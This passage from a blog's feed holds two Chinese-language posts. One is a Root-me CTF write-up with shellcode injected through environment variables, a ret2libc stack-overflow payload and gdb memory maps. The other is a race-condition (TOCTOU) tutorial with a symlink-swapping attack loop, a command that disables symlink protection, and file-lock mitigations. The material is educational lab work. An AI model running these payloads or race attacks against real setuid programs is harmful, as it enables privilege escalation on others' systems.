class="line">strcpy(0xbffff56c, <span class="string">&quot;/challenge/app-systeme/ch8&quot;</span>)                                                                               = 0xbffff56c</span><br><span class="line">getenv(<span class="string">&quot;USERNAME&quot;</span>)                                                                                                             = <span class="string">&quot;aaa&quot;</span></span><br><span class="line">strcpy(0xbffff5ec, <span class="string">&quot;aaa&quot;</span>)                                                                                                      = 0xbffff5ec</span><br><span class="line">getenv(<span class="string">&quot;SHELL&quot;</span>)                                                                                                                = <span class="string">&quot;/bin/bash&quot;</span></span><br><span class="line">strcpy(0xbffff66c, <span class="string">&quot;/bin/bash&quot;</span>)                                                                                                = 0xbffff66c</span><br><span class="line">getenv(<span class="string">&quot;PATH&quot;</span>)                                                                                                                 = <span class="string">&quot;/usr/local/sbin:/usr/local/bin:/&quot;</span>...</span><br><span class="line">strcpy(0xbffff6ec, <span class="string">&quot;/usr/local/sbin:/usr/local/bin:/&quot;</span>...)                                                                      = 0xbffff6ec</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;HOME     = %s\n&quot;</span>, <span class="string">&quot;/challenge/app-systeme/ch8&quot;</span>HOME     = /challenge/app-systeme/ch8</span><br><span class="line">)                                                                        = 38</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;USERNAME = %s\n&quot;</span>, <span class="string">&quot;aaa&quot;</span>USERNAME = aaa</span><br><span class="line">)                                                                                               = 15</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;SHELL    = %s\n&quot;</span>, <span class="string">&quot;/bin/bash&quot;</span>SHELL    = /bin/bash</span><br><span class="line">)                                                                                         = 21</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;PATH     = %s\n&quot;</span>, <span class="string">&quot;/usr/local/sbin:/usr/local/bin:/&quot;</span>...PATH     = /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/opt/tools/checksec/</span><br><span class="line">)                                                               = 121</span><br></pre></td></tr></table></figure><p>可以看到，这里把各个参数的调用地址都写了出来，此时我们就能够知道，在<strong>当前环境变量下，各个变量的栈中地址</strong>。</p><p>接下来，我们尝试设置我们的环境变量</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">export</span> USERNAME=`python -c <span class="string">&quot;print &#x27;\x31\xc9\xf7\xe1\x51\x68\x64\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\xb0\x0b\xcd\x80&#x27;&quot;</span>`</span><br><span class="line"><span class="built_in">export</span> PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/opt/tools/checksec/:/opt/tools/checksec/:`python -c <span class="string">&quot;print &#x27;a&#x27;*29 + &#x27;\x9c\xf5\xff\xbf\x10\xf0\xff\xbf&#x27;&quot;</span>`</span><br></pre></td></tr></table></figure><p>这里注意一个坑点：由于环境变量字符串结尾有\0，导致我们修改返回地址的时候，<strong>本来传入的参数</strong>地址会被我们修改:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">0xbffff730:     0x63656863      0x6365736b      0x0000002f      0xb7e87924</span><br><span class="line">0xbffff740:     0xb7fcfac0      0x0000000a      0x00000012      0xbffffe2c</span><br><span class="line">0xbffff750:     0xbffffb98      0xb7ff2630      0xbffffbd4      0xb7fcf000</span><br><span class="line">0xbffff760:     0x00000000      0x00000000      0xbffffb98      0x08048679 &lt;----返回值地址</span><br><span class="line">0xbffff770:     0xbffff780      0x00000007      0x001aa1d0      0x001ab1d0</span><br><span class="line">                  ^</span><br><span class="line">                  |</span><br><span class="line">                  +------------------------------------------------------- 修改返回地址后，最低位会被我们修改成0</span><br></pre></td></tr></table></figure><p>然后，我们会看到，程序中有一段的逻辑如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">.text:080485C5                 mov     eax, [ebp+8]</span><br><span class="line">.text:080485C8                 lea     edx, [ebp+env]</span><br><span class="line">.text:080485CE                 mov     ebx, 200h</span><br><span class="line">.text:080485D3                 mov     ecx, eax</span><br><span class="line">.text:080485D5                 and     ecx, 1</span><br><span class="line">.text:080485D8                 test    ecx, ecx</span><br><span class="line">.text:080485DA                 jz      short loc_80485EA</span><br><span class="line">...</span><br><span class="line">.text:08048602                 mov     ecx, ebx</span><br><span class="line">.text:08048604                 shr     ecx, 2</span><br><span class="line">.text:08048607                 mov     edi, eax</span><br><span class="line">.text:08048609                 mov     esi, edx</span><br><span class="line">.text:0804860B                 rep movsd;  qmemcpy(v1, v2, 4 * (size &gt;&gt; 2));            </span><br></pre></td></tr></table></figure><p>这段逻辑会取出这个参数，并且进行数据拷贝。这个时候，由于我们把参数的最低8bit置为0，会导致复制的过程中，<strong>将我们原有的返回值地址给修改了</strong>:<br><img src="/2017/12/04/Root-me-App-System02/rootme01.png" alt=""><br><em>如上图，此时指针依然会写入Env这么大的数据，但是我们此时并没有给其留足空间，会导致我们的返回值也被修改</em></p><p>所以这里为了保证其参数不出意外，我们可以主动指定一个地址填充过去(例如0xbffff100，这个位置可写并且不会影响到当前栈)，从而保证返回值地址不会被覆盖。</p><h2 id="elf-x86-stack-buffer-overflow-basic-6">ELF x86 - Stack buffer overflow basic 6</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;string.h&gt;</span></span></span><br><span class="line"> </span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span> <span class="params">(<span class="type">int</span> argc, <span class="type">char</span> ** argv)</span>&#123;</span><br><span class="line">    <span class="type">char</span> message[<span class="number">20</span>];</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">if</span> (argc != <span class="number">2</span>)&#123;</span><br><span class="line">        <span class="built_in">printf</span> (<span class="string">&quot;Usage: %s &lt;message&gt;\n&quot;</span>, argv[<span class="number">0</span>]);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">    <span class="built_in">strcpy</span> (message, argv[<span class="number">1</span>]);</span><br><span class="line">    <span class="built_in">printf</span> (<span class="string">&quot;Your message: %s\n&quot;</span>, message);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这个题目比较接近比赛的第一题了。首先防护，其打开了NX，那么我们就不能通过往栈中写入shellcode进行攻击了。于是这个题目就变成了很经典的<strong>ret2libc</strong>(虽然有别的做法)，然而发现，其没有开ASLR，并且传参的又开始使用argv。。。所以又变得有点不太好。。</p><p>主要就是在调试的时候，使用gdb直接查看到libc中system的地址，并且根据运算，查看对应的/bin/sh的地址即可。。。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">gdb$ info proc all</span><br><span class="line">process 5436</span><br><span class="line">warning: target file /proc/5436/cmdline contained unexpected null characters</span><br><span class="line">cmdline = &#x27;/challenge/app-systeme/ch33/ch33&#x27;</span><br><span class="line">cwd = &#x27;/challenge/app-systeme/ch33&#x27;</span><br><span class="line">exe = &#x27;/challenge/app-systeme/ch33/ch33&#x27;</span><br><span class="line">Mapped address spaces:</span><br><span class="line"></span><br><span class="line">        Start Addr   End Addr       Size     Offset objfile</span><br><span class="line">         0x8048000  0x8049000     0x1000        0x0 /challenge/app-systeme/ch33/ch33</span><br><span class="line">         0x8049000  0x804a000     0x1000        0x0 /challenge/app-systeme/ch33/ch33</span><br><span class="line">         0x804a000  0x804b000     0x1000     0x1000 /challenge/app-systeme/ch33/ch33</span><br><span class="line">        0xb7e21000 0xb7e22000     0x1000        0x0</span><br><span class="line">        0xb7e22000 0xb7fcd000   0x1ab000        0x0 /lib/i386-linux-gnu/libc-2.19.so</span><br><span class="line">        0xb7fcd000 0xb7fcf000     0x2000   0x1aa000 /lib/i386-linux-gnu/libc-2.19.so</span><br><span class="line">        0xb7fcf000 0xb7fd0000     0x1000   0x1ac000 /lib/i386-linux-gnu/libc-2.19.so</span><br><span class="line">        0xb7fd0000 0xb7fd3000     0x3000        0x0</span><br><span class="line">        0xb7fdb000 0xb7fdd000     0x2000        0x0</span><br><span class="line">        0xb7fdd000 0xb7fde000     0x1000        0x0 [vdso]</span><br><span class="line">        0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.19.so</span><br><span class="line">        0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.19.so</span><br><span class="line">        0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.19.so</span><br></pre></td></tr></table></figure><p>然而不知道为啥。。。我看到答案上都是直接起shell就能够拿到flag。。。我这边起了shell也不行呀，非得构造个<code>/bin/dash</code>。所以这里我直接利用了环境变量:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">export MYSHELL=/bin/dash</span><br></pre></td></tr></table></figure><p>之后利用gdb大概找到这个字符串所在的位置</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">0xbfffff49:     &quot;LOGNAME=app-systeme-ch33&quot;</span><br><span class="line">0xbfffff62:     &quot;MYSHELL=/bin/dash&quot;</span><br></pre></td></tr></table></figure><p>可以定位到，这个<code>/bin/dash</code>地址为0xbfffff6a,但是实际运行的时候，发现这个地方依然不是<code>/bin/dash</code>。。。于是只能暴力测试。。得到了字符串地址为<code>0xbfffff7b</code></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./ch33 `python -c &#x27;print &quot;a&quot;*32 + &quot;\x10\x23\xe6\xb7&quot;+&quot;b&quot;*4+&quot;\x7b\xff\xff\xbf&quot;&#x27;`</span><br></pre></td></tr></table></figure><p><em>后来出现了神奇的现象。。在我成功做出了答案之后，直接使用/bin/sh也能够得到答案了神奇。。。</em></p><p>排名第一的答案再次学习了新的姿势:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ulimit -s unlimited</span><br></pre></td></tr></table></figure><p><code>ulimit</code>这个指令的作用是改变linux下对资源的限制。<code>-s unlimited</code>意味着<strong>让整个堆栈限制解除</strong>。这个地方一旦解除了栈的限制，整个libc映射都不会发生变化:<br><a href="http://www.freebuf.com/vuls/101169.html">ASLR漏洞</a><br>这个时候再使用gdb调试找到对应的地址就很容易了。之后的思路就和我们利用思路一致，直接修改返回值即可。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;练习还是要保持呀&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="root-me" scheme="https://showlinkroom.me/tags/root-me/"/>
    
  </entry>
  
  <entry>
    <title>RaceConditions</title>
    <link href="https://showlinkroom.me/2017/11/29/RaceConditions/"/>
    <id>https://showlinkroom.me/2017/11/29/RaceConditions/</id>
    <published>2017-11-29T07:29:48.000Z</published>
    <updated>2020-07-16T13:31:30.408Z</updated>
    
    <content type="html"><![CDATA[<p>早就听说过竞争，但是一直也没怎么认真研究过，最近打算静下来好好看看原理</p><h2 id="more-race-conditions"><span id="more"></span><br>Race Conditions</h2><h2 id="竞争">竞争</h2><blockquote><p>An execution ordering of concurrent flows that results in undesired behavior is called a race condition—a software defect and frequent source<br>of vulnerabilities.Race conditions result from runtime environments,including operating systems, that must control access to shared resources, especially through process scheduling.</p></blockquote><p>竞争发生的时候，就是程序流并没有按照我们期望的方式运行，而且利用这个情况我们通常能够控制一些我们本来没有权限控制的文件，或者是文件流。这个情况往往是由于环境或者操作系统导致。</p><h3 id="触发条件">触发条件</h3><p>竞争也不是什么时候都能够触发的。需要满足以下条件:</p><ul><li>并发性(Concurrency Property) – 至少有两个程序流同时执行</li><li>存在共享对象(Shared Object Property) – 有一个对象能能够被两个程序流接触</li><li>更改状态属性(Change State Property) – 至少有一条程序流会改变当前的状态</li></ul><h3 id="竞争窗口-race-windows-与互斥-mutual-exclusion">竞争窗口(Race Windows)与互斥(Mutual Exclusion)</h3><p>为了避免竞争的发生，往往会有一段代码段，在这一段代码中，每一个程序流要通过<strong>竞争的方法获得共享资源</strong>。通过实现竞争窗口的<strong>互斥(Mutual Exclusion)</strong>，从而避免竞争的发生。</p><h3 id="死锁-deadlock-与漏洞-exploit">死锁(Deadlock)与漏洞(Exploit)</h3><p>如果说，在发生竞争的时候，程序流<strong>互相占用了对方的资源，或者将对方进程阻塞</strong>，那么这个时候程序流就会一直等待另一个程序执行结束，于是就陷入了互相等待的过程中。这个过程我们就称之为<strong>死锁(Deadlock)</strong>。死锁的触发条件如下:</p><ul><li>进程的速度</li><li>进程/线程调度算法的计算</li><li>执行的时候，内存限制发生变化</li><li>能够终止程序执行的异步事件</li><li>其他同时执行的进程的状态</li></ul><p>一般竞争的攻击会尝试不同的攻击条件。如果能够让计算机在预算量异常大的负载下运行，可能可以触发竞争条件。</p><h3 id="time-of-check-time-of-use">Time of check, time of use</h3><p>设想下列情况:</p><blockquote><p>一个应用允许用户编辑表格，同时也运行管理员禁止表格被编辑。一名用户申请了编辑的权限，然后开始编辑。在此期间，管理员因为特殊情况将表格禁止编辑。当用户将更改后的表格提交，应用程序检查发现当前的表格<strong>的确被授权可以更改</strong>，于是将更改后的表格提交上去了。</p></blockquote><p>这种情况就是<code>Time of check, time of use</code>(简称TOCTOU)的一种例子。TOCTOU发生在<strong>包含共享文件的多进程程序中</strong>。这种程序多数情况下<strong>伴有程序的I/O</strong>。这类程序往往有以下两个步骤</p><ul><li>检查当前资源是否可用(checking)</li><li>接触当前资源(using)</li></ul><p>而我们如果能够在这两个过程中修改一点程序的逻辑，或者是运行环境的话，就能够将完成一次竞争攻击。<br>Linux下的典型例子</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unistd.h&gt;</span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span> &#123;</span><br><span class="line">FILE *fd;</span><br><span class="line"><span class="keyword">if</span> (access(<span class="string">&quot;/some_file&quot;</span>, W_OK) == <span class="number">0</span>) &#123; <span class="comment">// 这个程序检查some_file是否存在，并且是否可写</span></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;access granted.\n&quot;</span>);</span><br><span class="line">fd = fopen(<span class="string">&quot;/some_file&quot;</span>, <span class="string">&quot;wb+&quot;</span>);  <span class="comment">// 如果存在，则创建当前文件</span></span><br><span class="line"><span class="comment">/* write to the file */</span></span><br><span class="line">fclose(fd);</span><br><span class="line">&#125; . . .</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中竞争就发生在</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> (access(<span class="string">&quot;/some_file&quot;</span>, W_OK) == <span class="number">0</span>) &#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;access granted.\n&quot;</span>);</span><br><span class="line">fd = fopen(<span class="string">&quot;/some_file&quot;</span>, <span class="string">&quot;wb+&quot;</span>);  </span><br></pre></td></tr></table></figure><p>这个位置的如果<code>/some_file</code>检查到可写，那么接下来就会往这个位置写入文件。然而，这个过程由于<strong>不是孤立的</strong>，所以我们能够同时运行另一个程序B，里面实现的功能如下</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">rm</span> /some_file</span><br><span class="line"><span class="built_in">ln</span> /myfile /some_file</span><br></pre></td></tr></table></figure><p>如果说两个程序同时运行，并且在access之后，B程序能够执行完毕，那么此时就可能往<strong>一个不可写的文件中写入数据</strong>。这类程序一般出现在<strong>程序本身的权限较高，但是用户获得的权限较低</strong>的时候。这种程序被称为<code>Set UID</code>程序，也就是程序的权限<code>取决于当前程序用户ID权限</code>，可以使用下列语句添加:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">chmod +s filename</span><br></pre></td></tr></table></figure><p>如果想要尝试上面的实验的话，除了要将程序设置成<code>Set-UID</code>的程序外，还要注意将当前的符号链接的保护关掉</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo echo 0 &gt; /proc/sys/fs/protected_symlinks</span><br></pre></td></tr></table></figure><p>并且，为了保证程序运行的速度，我们可以自己写一个C语言程序，类似下面这样:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">        <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">                system(<span class="string">&quot;ln -sf tmp_file.txt temp.txt&quot;</span>);</span><br><span class="line">                system(<span class="string">&quot;ln -sf root.txt temp.txt&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>用这个程序来创建链接，并且可以将攻击成功与否(也就是是否成功替换了符号连接)放在bash脚本中:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/sh</span></span><br><span class="line"></span><br><span class="line">old=`<span class="built_in">ls</span> -l root.txt`</span><br><span class="line">new_tmp=`<span class="built_in">ls</span> -l root.txt`</span><br><span class="line"></span><br><span class="line"><span class="comment"># echo $new_tmp</span></span><br><span class="line"><span class="keyword">while</span> [ <span class="string">&quot;<span class="variable">$old</span>&quot;</span> = <span class="string">&quot;<span class="variable">$new_tmp</span>&quot;</span> ]</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">        ./race.bin </span><br><span class="line">        new_tmp=`<span class="built_in">ls</span> -l root.txt`</span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;STOP... we win!&quot;</span></span><br></pre></td></tr></table></figure><p>然后执行attack程序和bash，就能够模拟这个竞争的过程。</p><p>还可以举出一个例子:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">chdir(&quot;/tmp/a&quot;);</span><br><span class="line">chdir(&quot;b&quot;);</span><br><span class="line">chdir(&quot;c&quot;);</span><br><span class="line">chdir(&quot;..&quot;);</span><br><span class="line">rmdir(&quot;c&quot;);//如果c文件夹是空的，则删除掉这个文件夹</span><br><span class="line">unlink(&quot;*&quot;);//将当前目录下的文件删除</span><br></pre></td></tr></table></figure><p>上述的竞争发生在:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">chdir(&quot;c&quot;);</span><br><span class="line">chdir(&quot;..&quot;);</span><br></pre></td></tr></table></figure><p>因为这个过程中，我们首先尝试进入c文件夹(检查c目录下的&quot;…“文件是否存在)，并且接触到其”…&quot;目录，那么这里同样存在竞争:</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mv</span> /tmp/a/b/c /tmp/c</span><br></pre></td></tr></table></figure><p>如果进行了上述操作，就能够通过竞争，实现让/tmp/目录下(而不是原先定义的/tmp/a/b/目录下)的文件删除的功能。</p><h3 id="应对措施-文件锁-lock-与解锁-unlock">应对措施 – 文件锁(Lock)与解锁(Unlock)</h3><p>由于同步的进程无法解决这个访问共享文件的问题(因为打开文件不是一个原语)，所以提出了一种新的思路: 提供一种类型的变量，不能够被并发进程访问(比如说mutex变量等)。这些并发程序流能够使文件作为锁(lock)来限制多程序流执行。</p><ul><li>如果文件已经存在的话，那么当前的锁就锁上，防止第二个程序流接触到。</li><li>如果当前文件还未存在，那么锁就释放，让文件可以被接触</li></ul><p>文件操作中的锁的相关代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">lock</span><span class="params">(<span class="type">char</span> *fn)</span> &#123;</span><br><span class="line"><span class="type">int</span> fd;</span><br><span class="line"><span class="type">int</span> sleep_time = <span class="number">100</span>;</span><br><span class="line"><span class="keyword">while</span> (((fd=open(fn,O_WRONLY|O_EXCL|O_CREAT,<span class="number">0</span>)) == <span class="number">-1</span>)&amp;&amp; errno == EEXIST)  <span class="comment">// 检查当前文件是否存在，如果存在的话，说明锁已经锁上的。</span></span><br><span class="line">&#123;</span><br><span class="line">usleep(sleep_time);</span><br><span class="line">sleep_time *= <span class="number">2</span>;</span><br><span class="line"><span class="keyword">if</span> (sleep_time &gt; MAX_SLEEP) sleep_time = MAX_SLEEP;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> fd;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">void</span> <span class="title function_">unlock</span><span class="params">(<span class="type">char</span> *fn)</span> &#123;</span><br><span class="line"><span class="keyword">if</span> (unlink(fn) == <span class="number">-1</span>) err(<span class="number">1</span>, <span class="string">&quot;file unlock&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段代码的问题是，open函数本身并没有被阻塞，也就是说这个位置存在竞争的可能。并且这个位置上应该一直重复计算直到文件被创建，这类锁被称为<strong>自旋锁(spinlock)</strong>，通过消耗计算量和时间来实现等待。但是这个思路存在下列问题</p><ul><li>依赖与<code>unlock</code>函数，如果没有执行unlock函数，那么程序会无休止等待。</li><li>在程序崩溃的时候，可能会发生当前的锁没能够来得及被释放的事情。</li></ul><p>于是有一种新的解决办法:<br>lock()可以将当前的进程PID写入锁文件。一旦发现一个现有的锁(当前文件被打开了)，那么在当前的活动进程列表中检索锁文件中的进程号PID。如果此时锁文件中没有能够找到当前活动PID，那么说明锁定文件的进程已经结束了，那么进行如下操作</p><ul><li>这个锁重新被获取，也就是说能够执行到return（理解成释放）</li><li>锁文件将新的进程号包括进去</li></ul><p>但是依旧有如下的问题:</p><ul><li>被终止的进程号可能被重用</li><li>这个修补程序本身带有竞争条件</li></ul><h3 id="文件系统的漏洞">文件系统的漏洞</h3><p>由于文件的操作在同等权限下的线程中是<strong>共享的</strong>，并且文件系统也是直接暴露在其他的进程中，所以文件操作是竞争的高发地带。<br>这种暴露导致的漏洞一般来源于以下几种形式</p><ul><li>文件权限</li><li>文件的命名约定</li><li>文件系统机制</li></ul><p>很多程序运行出错之后，文件就会处于一种损坏的状态，导致一些不可避免的漏洞。</p><h4 id="文件链接漏洞">文件链接漏洞</h4><p>之前的例子中已经提到过了，通常是出现在<strong>TOCTOU</strong>。常见的形式如下:</p><ul><li>在<code>access</code>之后调用<code>fopen</code>函数</li><li>在<code>stat</code>之后调用<code>open</code>函数</li><li>一个文件在调用过了<code>open</code>,<code>read</code>,<code>write</code>并且<code>close</code>之后，在同一个线程中被重复打开</li></ul><p>一个例子</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// stat：打开指定的文件，并且将文件的信息存入statbuf中。如果这个文件不存在的话，返回-1</span></span><br><span class="line"><span class="comment">// 检查这个文件是否存在</span></span><br><span class="line"><span class="keyword">if</span> (stat(<span class="string">&quot;/dir/some_file&quot;</span>, &amp;statbuf) == <span class="number">-1</span>) &#123; </span><br><span class="line">err(<span class="number">1</span>, <span class="string">&quot;stat&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 然后检查这个文件大小是否合适</span></span><br><span class="line"><span class="keyword">if</span> (statbuf.st_size &gt;= MAX_FILE_SIZE) &#123;</span><br><span class="line">err(<span class="number">2</span>, <span class="string">&quot;file size&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// 最后以只读的方式打开</span></span><br><span class="line"><span class="keyword">if</span> ((fd=open(<span class="string">&quot;/dir/some_file&quot;</span>, O_RDONLY)) == <span class="number">-1</span>) &#123;</span><br><span class="line">err(<span class="number">3</span>, <span class="string">&quot;open - /dir/some_file&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">// process file</span></span><br></pre></td></tr></table></figure><p>上述程序的例子中，可以使用之前提到过的方法，也就是在文件检查之前，我们就能够将<code>/dir/some_file</code>删除，并且使用链接替换成我们指定的文件。</p><h5 id="缓解办法-o-creat-和-o-excl">缓解办法 —— O_CREAT 和 O_EXCL</h5><p>当调用open的时候，如果同时设置了这两个标志位，那么如果open指定的文件存在，那么就返回-1…<br>利用这个标志位，在我们指定文件为链接文件的时候，会被识别出来。</p><h4 id="unlink-的竞争漏洞">unlink 的竞争漏洞</h4><p>打开一个UNIX文件，并且在之后<code>unlink</code>这个文件也会造成竞争。如果我们在unlink一个文件符号之前，就将这个文件改成了一个链接符号的话，那么此时unlink只会解除那个链接文件，从而保留我们指定的文件。</p><p>参考资料<br>部分实验参考至实验楼<a href="https://www.shiyanlou.com/courses/249/labs/807/document">https://www.shiyanlou.com/courses/249/labs/807/document</a><br><a href="http://repository.root-me.org/Programmation/C%20-%20C++/EN%20-%20Secure%20Coding%20in%20C%20and%20C++%20Race%20Conditions.pdf">http://repository.root-me.org/Programmation/C%20-%20C++/EN%20-%20Secure%20Coding%20in%20C%20and%20C++%20Race%20Conditions.pdf</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;早就听说过竞争，但是一直也没怎么认真研究过，最近打算静下来好好看看原理&lt;/p&gt;
&lt;h2 id=&quot;more-race-conditions&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="Race Conditions" scheme="https://showlinkroom.me/tags/Race-Conditions/"/>
    
  </entry>
  
  <entry>
    <title>Root-me App-System01</title>
    <link href="https://showlinkroom.me/2017/11/20/Root-me-App-System01/"/>
    <id>https://showlinkroom.me/2017/11/20/Root-me-App-System01/</id>
    <published>2017-11-20T09:12:32.000Z</published>
